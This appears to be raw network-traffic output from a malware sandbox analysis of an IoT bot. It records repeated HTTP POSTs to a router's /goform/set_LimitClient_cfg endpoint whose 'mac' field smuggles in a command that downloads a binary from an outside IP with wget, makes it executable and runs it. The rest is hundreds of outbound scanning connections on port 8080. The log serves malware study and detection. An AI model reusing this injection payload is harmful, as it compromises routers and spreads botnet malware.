Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;

Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 39.242.90.154:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 25.233.129.155:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 121.189.163.235:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 132.72.203.154:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 141.43.153.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 186.151.240.156:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 216.170.176.155:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 111.166.35.36:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 46.123.57.86:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 160.17.172.19:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 112.54.197.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 167.67.178.195:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 155.62.233.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 99.57.36.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 169.18.59.30:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 81.252.183.22:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 61.110.15.127:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 78.218.228.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 106.66.18.135:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 43.242.142.66:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 186.27.43.156:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 193.145.18.167:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 125.124.103.40:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 195.149.105.183:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 8.184.144.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 211.162.136.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 76.65.56.181:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 187.193.143.40:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 161.124.13.224:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 136.218.20.116:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 187.232.105.17:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 44.121.44.253:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 136.62.172.232:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 2.108.139.71:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 103.5.173.100:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 84.240.60.171:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 93.84.255.65:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 124.228.56.143:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 50.222.248.67:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 91.102.26.116:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 178.31.48.147:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 133.181.59.3:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 124.219.99.226:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 2.194.36.98:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 132.182.62.214:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 165.200.127.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 133.82.26.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 49.13.218.49:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 143.202.227.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 218.75.12.159:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 69.40.69.248:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 74.122.175.159:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 138.60.155.198:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 204.70.41.239:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 200.242.59.152:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 68.60.58.22:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 81.104.25.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 162.159.144.62:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 114.178.233.116:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 14.56.86.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 51.120.162.221:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 66.226.33.4:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 118.100.35.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 144.191.47.87:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 74.190.255.65:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 144.122.206.122:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 169.105.11.5:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 147.199.187.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 132.216.237.139:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 60.66.163.110:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 164.204.92.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 153.236.246.38:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 74.14.21.86:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 48.16.37.104:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 133.29.81.107:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 45.78.245.70:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 162.242.93.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 102.109.34.210:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 189.62.254.105:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 198.88.44.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 52.111.71.39:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 195.231.167.98:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 27.224.136.227:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 1.255.0.1:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 94.116.22.127:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 2.147.241.121:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 1.27.204.181:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 13.74.74.10:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 64.186.249.191:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 91.50.236.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 89.26.201.130:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 189.163.217.77:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 8.183.12.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 31.17.131.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 199.44.81.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 191.205.67.80:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 106.70.176.19:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 188.20.65.134:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 96.252.236.136:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 223.245.161.192:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 1.248.182.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 161.199.111.181:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 194.224.85.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 121.227.29.229:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 199.235.92.121:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 175.148.126.180:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 20.171.56.12:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 92.163.50.120:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 41.125.177.9:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 102.250.191.177:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 212.71.73.244:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 61.97.186.139:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 141.108.170.102:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 223.175.75.226:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 136.102.79.7:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 42.130.29.233:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 135.109.125.220:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 161.126.104.5:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 119.98.31.175:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 47.147.161.54:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 201.19.153.133:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 96.239.161.96:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 113.123.149.240:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 208.100.235.51:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 35.166.78.228:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 49.194.81.229:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 114.60.52.126:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 124.56.59.98:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 46.117.113.195:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 168.28.245.223:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 54.202.233.139:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 200.125.148.202:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 199.149.138.86:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 72.157.237.92:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 4.36.58.119:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 36.52.208.132:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 48.241.254.178:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 121.55.57.122:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 200.51.39.60:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 190.245.251.220:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 38.163.80.45:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 218.204.182.19:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 186.46.32.149:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 196.199.17.9:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 175.204.104.186:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 35.15.165.208:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 139.4.63.110:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 180.140.211.16:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 19.133.21.123:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 131.213.233.214:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 219.217.162.92:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 43.244.251.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 14.162.194.234:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 72.168.157.210:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 216.40.113.73:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 98.205.97.201:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 102.3.235.145:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 105.29.116.176:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 110.164.140.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 187.75.229.249:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 75.170.11.68:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 128.229.202.3:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 80.161.232.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 100.36.15.118:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 107.98.130.237:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 63.37.22.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 160.100.24.79:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 201.2.114.156:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 84.197.250.204:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 188.161.85.204:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 216.106.35.202:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 35.67.99.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 210.255.76.18:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 60.232.134.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 202.101.119.146:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 140.215.28.102:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 96.208.192.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 135.48.158.147:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 88.83.106.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 75.116.91.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 82.182.20.43:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 212.225.185.162:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 18.141.199.13:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 199.48.68.168:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 39.85.49.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 24.93.80.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 222.36.43.237:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 44.62.28.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 98.84.28.41:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 52.51.172.10:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 162.215.69.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 197.40.128.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 162.172.255.206:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 84.15.241.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 100.251.207.160:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 179.203.167.155:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 131.5.88.230:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 153.245.175.162:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 24.169.7.157:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 187.96.126.180:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 103.229.0.45:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 46.25.110.1:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 18.183.164.244:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 197.6.75.85:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 94.28.67.183:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 107.118.42.0:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 25.189.2.112:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 217.177.242.171:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 212.173.18.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 9.25.91.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 148.183.34.179:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 77.13.206.139:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 86.92.131.233:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 149.72.99.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 24.184.172.15:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 187.154.220.23:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 116.223.120.47:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 131.197.118.128:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 212.81.62.167:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 124.98.120.204:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 182.27.224.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 169.42.234.54:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 154.174.249.225:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 111.233.108.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 128.27.162.126:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 73.93.114.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 111.25.89.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 120.94.88.176:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 1.187.91.113:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 20.40.234.54:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 4.180.145.134:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 207.12.215.3:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 199.22.84.228:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 117.4.243.173:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 47.162.79.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 106.171.85.150:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 43.117.46.148:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 58.81.40.175:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 51.148.185.117:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 203.20.228.255:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 109.37.72.36:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 137.255.226.39:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 57.65.103.216:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 148.90.131.191:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 38.51.23.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 218.21.243.28:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 82.201.181.140:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 134.164.179.142:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 197.122.69.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 97.133.176.136:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 157.23.39.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 114.84.62.144:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 34.146.232.212:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 103.197.78.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 136.125.87.1:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 122.73.248.81:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 134.140.105.121:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 155.19.59.16:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 88.88.118.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 5.198.211.114:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 76.73.212.60:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 219.202.123.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 208.1.89.239:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 9.161.177.132:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 70.117.189.206:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 58.120.7.11:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 47.224.169.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 221.141.112.116:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 59.106.242.126:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 149.240.113.99:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 138.12.224.239:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 108.160.241.245:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 13.191.123.140:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 115.169.213.114:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 98.137.174.247:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 86.1.33.221:8080
